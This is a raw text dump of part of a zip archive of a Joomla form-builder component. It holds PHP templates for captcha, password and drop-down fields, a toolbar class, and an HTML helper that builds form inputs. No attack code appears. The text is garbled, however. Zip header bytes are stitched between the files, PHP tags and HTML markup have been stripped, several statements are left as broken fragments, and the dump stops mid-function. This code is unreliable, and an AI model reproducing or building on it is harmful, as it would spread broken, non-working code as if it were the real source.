      input('chronofield[{n}][input_captcha_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_captcha_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_captcha_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_captcha_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_captcha_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_captcha_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_captcha_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_captcha_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_captcha_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_captcha_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_captcha_{n}_hide_label', 'value' => $element_params['hide_label'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_captcha_element_config_{n}'); ?> tabStart('general'); ?> input('input_captcha_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_name_config', array('type' => 'text', 'disabled' => 'true', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, underscores allowed.')); ?> input('input_captcha_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_captcha_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_captcha_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_captcha_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_captcha_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_captcha_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_captcha_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_captcha_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\30com_chronoforms/form_elements/input_password.ctpnuW+A
      Password Box
      input('chronofield[{n}][input_password_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_password_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_password_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_password_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_password_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_password_{n}_input_maxlength]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_maxlength', 'value' => $element_params['input_maxlength'])); ?> input('chronofield[{n}][input_password_{n}_input_size]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_size', 'value' => $element_params['input_size'])); ?> input('chronofield[{n}][input_password_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_password_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_password_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_password_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_password_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_password_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_password_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_password_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_password_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_password_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_password_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation'), 'input_password_element_config_{n}'); ?> tabStart('general'); ?> input('input_password_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_password_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_maxlength_config', array('type' => 'text', 'label' => 'Field Max Length', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_size_config', array('type' => 'text', 'label' => 'Field Size', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_title_config', array('type' => 'text', 'label' => 'Field Title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_password_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> input('input_password_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_password_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_password_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_password_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_password_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Alpha', 'class' => 'small_input', 'value' => 'alpha', 'rule' => "split", 'splitter' => ",")); ?> input('input_password_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Digits', 'class' => 'small_input', 'value' => 'digits', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\w1com_chronoforms/form_elements/input_container.phpnuW+A 'Container #{n}', 'container_id' => 0, 'collapsed' => 0, 'container_type' => '', 'start_code' => '', 'end_code' => '', 'container_class' => '', ); } return array('element_params' => $element_params); } } ?>PKs>\c<)).com_chronoforms/form_elements/input_select.ctpnuW+A
      Drop Down
      0){ $temp_options = explode("\n", $element_params['options']); $element_params['options'] = array(); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $element_params['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } }else{ $element_params['options'] = array(); } ?> $select_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $select_option_value.'='.$select_option_text; } ?> input('chronofield[{n}][input_select_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_select_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_select_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_select_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_select_{n}_size]', array('type' => 'hidden', 'id' => 'input_select_{n}_size', 'value' => $element_params['size'])); ?> input('chronofield[{n}][input_select_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_select_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_select_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_select_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_select_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_select_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_select_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_select_{n}_selected]', array('type' => 'hidden', 'id' => 'input_select_{n}_selected', 'value' => $element_params['selected'])); ?> input('chronofield[{n}][input_select_{n}_showempty]', array('type' => 'hidden', 'id' => 'input_select_{n}_showempty', 'value' => $element_params['showempty'])); ?> input('chronofield[{n}][input_select_{n}_multiple]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiple', 'value' => $element_params['multiple'])); ?> input('chronofield[{n}][input_select_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_select_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_select_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_select_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_select_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_select_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_select_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_select_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_select_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_select_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_select_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'dynamic_data' => 'Dynamic Data'), 'input_select_element_config_{n}'); ?> tabStart('general'); ?> input('input_select_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_select_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_select_{n}_multiple_config', array('type' => 'checkbox', 'label' => 'Multiple', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_size_config', array('type' => 'text', 'label' => 'Size', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_selected_config', array('type' => 'text', 'label' => 'Selected', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The selected value by default if any.')); ?> input('input_select_{n}_showempty_config', array('type' => 'text', 'label' => 'Show Empty', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Write the text for the empty value (Please select) or leave empty for no empty value.')); ?> input('input_select_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "select", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_select_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_select_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_select_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_select_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_select_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_select_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_select_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_select_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_select_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_select_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_select_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PKs>\:,com_chronoforms/toolbar.chronoforms.html.phpnuW+AsetQuery($query); $formname = $database->loadResult(); } JToolBarHelper::title(JText::_('Form Wizard').": ".$formname); JToolBarHelper::custom($task = 'preview', $icon = 'preview.png', $iconOver = 'preview.png', $alt = 'Test Form', $listSelect = false); JToolBarHelper::custom($task = 'fullscreen', $icon = 'fullscreen_b.png', $iconOver = 'fullscreen_b.png', $alt = 'Full Screen', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::save('form_wizard'); JToolBarHelper::apply('apply_wizard_changes'); JToolBarHelper::divider(); JToolBarHelper::cancel(); } public static function admin_form_menu(){ JToolBarHelper::title(JText::_('Admin forms processor')); JToolBarHelper::back(); } public static function index_menu(){ JToolBarHelper::title(JText::_('Forms Manager')); JToolBarHelper::addNew(); JToolBarHelper::custom($task = 'copy', $icon = 'copy_f2.png', $iconOver = 'copy_f2.png', $alt = 'Copy form', $listSelect = true); JToolBarHelper::editList(); JToolBarHelper::divider(); JToolBarHelper::deleteList(); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'create_table', $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = 'Create table', $listSelect = true); JToolBarHelper::custom($task = 'list_data', $icon = 'properties_f2.png', $iconOver = 'properties_f2.png', $alt = 'Show Data', $listSelect = true); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'backup_forms', $icon = 'backup.png', $iconOver = 'backup.png', $alt = 'Backup Forms', $listSelect = true); JToolBarHelper::custom($task = 'restore_forms', $icon = 'dbrestore.png', $iconOver = 'dbrestore.png', $alt = 'Restore Forms', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::custom($task = 'install_action', $icon = 'extensions.png', $iconOver = 'extensions.png', $alt = 'Install Action', $listSelect = false); } public static function edit_menu(){ JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function create_table_menu(){ JToolBarHelper::title(JText::_('Create Table')); JToolBarHelper::save('save_table', 'Save'); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function list_data_menu(){ JToolBarHelper::title(JText::_('Table Data Viewer')); if(isset($_POST['form_id'])){ $row = JTable::getInstance('chronoforms', 'Table'); $row->load($_POST['form_id']); $params = new JParameter($row->params); $dataview_actions = $params->get('dataview_actions', ''); if(!empty($dataview_actions)){ $dataview_actions = explode(",", $dataview_actions); foreach($dataview_actions as $dataview_action){ $action_pieces = explode(":", $dataview_action); JToolBarHelper::custom($task = 'admin_form:'.$action_pieces[0], $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = $action_pieces[1], $listSelect = true); } } } //add CSV export action JToolBarHelper::custom($task = 'admin_form:cf_csv_export', $icon = 'wizard.png', $iconOver = 'wizard.png', $alt = 'CSV Export', $listSelect = false); JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'delete_data', 'Delete'); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } public static function show_data_menu(){ JToolBarHelper::title(JText::_('Record View')); JToolBarHelper::cancel('list_data', 'Cancel'); } public static function cancel_menu(){ $task = JRequest::getVar('task', ''); if($task == 'install_action'){ JToolBarHelper::title(JText::_('Actions Installer')); }else if($task == 'restore_forms'){ JToolBarHelper::title(JText::_('Restore Forms')); }else if($task == 'updates'){ JToolBarHelper::title(JText::_('Updates')); } JToolBarHelper::cancel('index', 'Cancel'); } public static function validatelicense_menu(){ JToolBarHelper::title(JText::_('Validate installation')); JToolBarHelper::custom($task = 'validatelicense', $icon = 'bKey.png', $iconOver = 'bKey.png', $alt = 'Validate', $listSelect = false); JToolBarHelper::spacer(); JToolBarHelper::cancel(); } } ?>PKs>\#o,,com_chronoforms/index.htmlnuW+APKs>\"com_chronoforms/helpers/index.htmlnuW+APKs>\ xUtUt'com_chronoforms/helpers/html_helper.phpnuW+A $value){ if($param == '#'){ $params[] = $param.''.$value; }else{ $params[] = $param.'='.$value; } } $output = implode("&", $params); $output = "index.php?".$output; } return $output; } function link($text = '', $link = array(), $html = array()){ $output = ''; if(is_array($link) && !empty($link)){ $params = array(); foreach($link as $param => $value){ if($param == '#'){ $params[] = $param.''.$value; }else{ $params[] = $param.'='.$value; } } $output = implode("&", $params); $output = "index.php?".$output; $output = ' $val){ if($tag == '#'){ $output .= $tag.''.$val.' '; }else{ $output .= $tag.'="'.$val.'" '; } } $output .= '>'.$text.''; } return $output; } function image($path = '', $html = array('border' => 0), $link = array()){ $output = ''; $output = ' $val){ $output .= $tag.'="'.$val.'" '; } $output .= ' />'; if(is_array($link) && !empty($link)){ $output = $this->link($output, $link); } return $output; } function input($fieldname = '', $fieldoptions = array(), $do_replacements = false){ $output = ''; $tag = array(); if(!isset($fieldoptions['type'])){ $fieldoptions['type'] = 'text'; $fieldoptions['tag'] = 'input'; } $tag['type'] = $fieldoptions['type']; $tag['name'] = $fieldname; //fix the quotes in the values if(isset($fieldoptions['value'])){ $fieldoptions['value'] = str_replace('"', "'", $fieldoptions['value']); } //prepare validation classes if(isset($fieldoptions['validations']) && !empty($fieldoptions['validations'])){ $validation_classes = explode(",", $fieldoptions['validations']); $validation_classes = array_map('trim', $validation_classes); if($fieldoptions['type'] == 'checkbox_group'){ //$validation_classes = array('%checkSelection'); } $field_class = array(); if(isset($fieldoptions['class'])){ $field_class = array($fieldoptions['class']); } $field_class[] = "validate['".implode("','", $validation_classes)."']"; $fieldoptions['class'] = implode(' ', $field_class); unset($fieldoptions['validations']); }else{ unset($fieldoptions['validations']); } //set id if not set if(!isset($fieldoptions['id'])){ $fieldoptions['id'] = $this->slug($fieldname); } //reset id if empty if(isset($fieldoptions['id']) && !strlen(trim($fieldoptions['id']))){ unset($fieldoptions['id']); } //apply the label class if(isset($fieldoptions['label']) && !is_array($fieldoptions['label']) && ($fieldoptions['label'] !== false)){ $fieldoptions['label'] = array('text' => $fieldoptions['label']); } if(!isset($fieldoptions['label'])){ $fieldoptions['label'] = false; } //check if radio to add the div /*if(isset($fieldoptions['type']) && ($fieldoptions['type'] == 'radio') && isset($fieldoptions['label']['text']) && strlen($fieldoptions['label']['text'])){ $fieldoptions['before'] = ''.$fieldoptions['label']['text'].''; if(!isset($fieldoptions['legend'])){ $fieldoptions['legend'] = false; } }*/ //prepare the tooltips if(isset($fieldoptions['tooltip'])){ if(strlen(trim($fieldoptions['tooltip']))){ if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } //$tiplink = '?'; $tiplink = '?'; $fieldoptions['after'] .= '
      '.$tiplink.'
      '; } unset($fieldoptions['tooltip']); } //prepare the descriptions if(isset($fieldoptions['smalldesc'])){ if(strlen(trim($fieldoptions['smalldesc']))){ if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } $fieldoptions['after'] .= '
      '.nl2br($fieldoptions['smalldesc']).'
      '; } unset($fieldoptions['smalldesc']); } //add clear div if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } $fieldoptions['after'] .= '
      '; $fieldoptions['after'] .= '
      '; //set container div options if(!isset($fieldoptions['type'])){ $fieldoptions['type'] = 'text'; } $div_class = array(); $div_class[] = 'ccms_form_element'; $etype = $fieldoptions['type']; if(isset($fieldoptions['multiple']) && $fieldoptions['multiple'] == 'checkbox'){ $etype = 'checkboxgroup'; } $div_class[] = 'cfdiv_'.$etype; if(isset($fieldoptions['label_over']) && $fieldoptions['label_over'] == true){ $div_class[] = 'label_over'; unset($fieldoptions['label_over']); } if(isset($fieldoptions['label_over'])){ unset($fieldoptions['label_over']); } $hide_label = false; if(isset($fieldoptions['hide_label'])){ $hide_label = (bool)$fieldoptions['hide_label']; unset($fieldoptions['hide_label']); } if(isset($fieldoptions['radios_over'])){ if($fieldoptions['radios_over'] == true){ $div_class[] = 'radios_over'; } unset($fieldoptions['radios_over']); } if(isset($fieldoptions['multiline_start'])){ if($fieldoptions['multiline_start'] == true){ $div_class[] = 'multiline_start'; } unset($fieldoptions['multiline_start']); } if(isset($fieldoptions['multiline_add'])){ if($fieldoptions['multiline_add'] == true){ $div_class[] = 'multiline_add'; } unset($fieldoptions['multiline_add']); } if(!isset($fieldoptions['div'])){ $fieldoptions['div'] = array(); } //$div_prefix = (isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0) ? $this->slug($fieldoptions['id']) : 'autoID-'.md5($fieldname.'-'.rand(11111, 99999)); if(isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0){ $div_prefix = $this->slug($fieldoptions['id']); }else{ $temp_prefix = $this->slug($fieldname); if(!in_array($temp_prefix, $this->divs_containers_ids)){ $div_prefix = $temp_prefix.'1'; $this->divs_containers_ids[] = $temp_prefix; $this->divs_containers_ids_count[$temp_prefix] = array(1); }else{ //get last count $last_count = $this->divs_containers_ids_count[$temp_prefix][count($this->divs_containers_ids_count[$temp_prefix]) - 1]; $div_prefix = $temp_prefix.''.($last_count + 1); $this->divs_containers_ids_count[$temp_prefix][] = $last_count + 1; } } $divContainer = array_merge($fieldoptions['div'], array('id' => $div_prefix.'_container_div', 'class' => implode(' ', $div_class), 'style' => array())); unset($fieldoptions['div']); //add before prefix $beforeOutput = ''; if(isset($fieldoptions['before'])){ $beforeOutput = $fieldoptions['before']; unset($fieldoptions['before']); } //add after prefix $afterOutput = ''; if(isset($fieldoptions['after'])){ $afterOutput = $fieldoptions['after']; unset($fieldoptions['after']); } if(isset($fieldoptions['default']) && (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0))){ $field_value = $fieldoptions['default']; unset($fieldoptions['default']); } //check form data if(isset($this->data) && !empty($this->data)){ if($this->advanced_data === true){ $no_field_preset_value_exists = (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0)); if(is_array($this->data)){ $data_value = $this->fieldValue($fieldname, $this->data); if(!is_null($data_value) && $no_field_preset_value_exists){ $field_value = $data_value; } }else if(is_object($this->data)){ $data_value = $this->fieldValue($fieldname, (array)$this->data); if(!is_null($data_value) && $no_field_preset_value_exists){ $field_value = $data_value; } } }else{ if(is_array($this->data)){ if(isset($this->data[$fieldname])){ $field_value = htmlspecialchars($this->data[$fieldname]); } }else if(is_object($this->data)){ if(isset($this->data->$fieldname)){ $field_value = htmlspecialchars($this->data->$fieldname); } } } } if(isset($field_value)){ $fieldoptions['value'] = $field_value; } //merge tag with fieldoptions $tag = array_merge($fieldoptions, $tag); if(isset($tag['label'])){ unset($tag['label']); } //close containers $old_output = ''; if(!empty($this->containers) && isset($tag['container_id']) && $tag['container_id'] != $this->containers[count($this->containers) - 1]){ //we are out of the last container, close it $containers = array_reverse($this->containers); $containers_endings = array_reverse($this->containers_endings); foreach($containers as $k => $container){ if($container != $tag['container_id']){ $old_output .= $containers_endings[$k]; array_pop($this->containers); array_pop($this->containers_endings); }else{ break; } } } if(isset($tag['container_id'])){ unset($tag['container_id']); } //print_r2($fieldoptions); switch($fieldoptions['type']){ case 'submit': unset($fieldoptions['value']); $output .= ' $v){ if(in_array($k, array('reset_button', 'reset_button_value', 'back_button', 'back_button_value'))){ continue; } $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; if(isset($tag['reset_button']) && (bool)$tag['reset_button'] === true){ $output .= " "; } if(isset($tag['back_button']) && (bool)$tag['back_button'] === true){ $output .= " "; } unset($fieldoptions['label']); break; case 'textarea': $value = ''; if(isset($tag['value'])){ $value = $tag['value']; unset($tag['value']); } if(isset($tag['type'])){ unset($tag['type']); } if(isset($tag['wysiwyg_editor']) && $tag['wysiwyg_editor'] == 1){ $output .= "display('".$fieldname."', '".$value."', ".$fieldoptions['editor_width'].", ".$fieldoptions['editor_height'].", ".$fieldoptions['rows'].", ".$fieldoptions['cols'].", ".$fieldoptions['editor_buttons']."); ?>"; } else { $output .= ' $v){ if(in_array($k, array('wysiwyg_editor', 'editor_width', 'editor_height', 'editor_buttons'))){ continue; } $output .= ' '.$k.'="'.$v.'"'; } $output .= '>'.$value.''."\n"; } break; case 'select': if(isset($fieldoptions['value'])){ if(!empty($fieldoptions['value'])){ $tag['selected'] = $fieldoptions['value']; } unset($fieldoptions['value']); } $output .= ''."\n"; unset($tag['empty']); } if(isset($tag['multiple']) && $tag['multiple'] == 1){ $tag['multiple'] = 'multiple'; if(strpos($tag['name'], '[]') === false){ $tag['name'] = $tag['name'].'[]'; } } if(isset($tag['type'])){ unset($tag['type']); } foreach($tag as $k => $v){ if(!in_array($k, array('enable_dynamic_data', 'data_path', 'value_key', 'text_key'))){ $output .= ' '.$k.'="'.$v.'"'; } } $output .= '>'."\n"; if($empty){ $output .= $empty; } if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\n"; } } } ?> '; } }else{ foreach($options as $k => $option){ $output .= ''."\n"; } } $output .= ''."\n"; break; case 'radio': $checked_value = null; if(isset($fieldoptions['value'])){ $checked_value = $fieldoptions['value']; } unset($fieldoptions['value']); $options = array(); if(isset($tag['options']) && is_array($tag['options'])){ $options = $tag['options']; unset($tag['options']); } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= '
      '; if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ $f_id = 0; foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\'."\n"; echo \'\'."\n"; $f_id++; } } } ?> '; } }else{ $f_id = 0; foreach($options as $k => $option){ $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $output .= ''."\n"; $output .= ''."\n"; $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $f_id++; } } $output .= '
      '; break; case 'checkbox_group': unset($fieldoptions['value']); $fieldoptions['type'] = 'checkbox'; $options = array(); if(isset($tag['options']) && is_array($tag['options'])){ $options = $tag['options']; unset($tag['options']); $checked = false; if(isset($tag['selected'])){ $checked = explode(",", $tag['selected']); unset($tag['selected']); } } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= '
